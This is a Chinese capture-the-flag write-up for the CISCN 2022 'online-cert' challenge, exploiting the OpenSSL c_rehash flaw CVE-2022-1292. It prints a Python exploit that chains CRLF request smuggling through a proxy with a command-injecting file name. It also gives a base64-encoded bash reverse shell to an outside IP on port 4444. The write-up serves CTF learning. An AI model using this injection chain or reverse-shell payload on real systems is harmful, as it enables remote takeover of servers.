ciscn2022初赛online-cert题解

这道题当时最后黑灯的时候做出来的,就是卡在最后的payload构造和vps的问题上,比赛前一天一直用的腾讯云过期了,又没钱补,想着问谁借一个能弹shell就行了,没想到控制台安全组放开没用,他还有个宝塔也要一起放开才有用,最后还是借到一个能弹shell的成功了。

感觉这道题对于我来说难点在于对perl脚本的审计,和最后的利用,总体思路其实不难想出。

CVE-2022-1292

https://github.com/openssl/openssl/commit/7c33270707b568c524a8ef125fe611a8872cb5e8?diff=split

image.png

filename被拼接到了反引号里

而且他的go web服务里也有一个修改文件名的地方,所以整个题目思路就是在文件名里面插入恶意数据造成rce

crlf注入

app.py里面写的,完全可以完整的注入一个报文

接着绕过URL.RawPath就行,后来翻看了go web开发相关的文章,了解到这玩意是url安全编码相关的,于是就把请求的url中间的一部分编码了就绕过了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests


url = "http://eci-2ze9sic3tak432765s8u.cloudeci1.ichunqiu.com:8888/proxy"
url1 = "http://127.0.0.1:8888/proxy"
payload = '''/%61%64%6d%69%6e/rename?oldname=123&newname=1.crt%22%3Becho%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC80Ny4xMDQuMTQuMTYwLzQ0NDQgMD4mMQ%3D%3D%20%7C%20base64%20-d%20%7C%20bash%20-i%3Becho%22 HTTP/1.1
Host: admin
User-Agent: admin
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


GET /index'''.replace("\\n","\\r\\n")



data = {"uri":payload}

r1 = requests.get(url,data=data)
print(r1.text)

rce

这里怎么rce,我用的是拼接的方式,当然赛后还看到大师傅的wp中有用环境变量的姿势。

我觉得这里才是这道题的细节部分,就是最后一步的处理问题:如何精心构造文件名。

linux中的文件名不能包含斜杠/,所以采用base64编码是首选

1
`"$openssl" x509 $x509hash -fingerprint -noout -in "$fname"`;

可以看到可控的部分是$filename,因此做如下截断,通过分号截断命令,然后管道符base64解码其实也是常见姿势:

(当然当时比赛试了n遍)

1
";echo YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDQuMTQuMTYwLzQ0NDQgMD4mMQ== | base64 -d | bash -i;echo"

最后通过url编码,在我上面构造的poc中能够打通

赛后看一个师傅的wp中,他使用环境变量${OLDPWD},直接截图引用大佬橙子酱的分析

image.png

image.png

image.png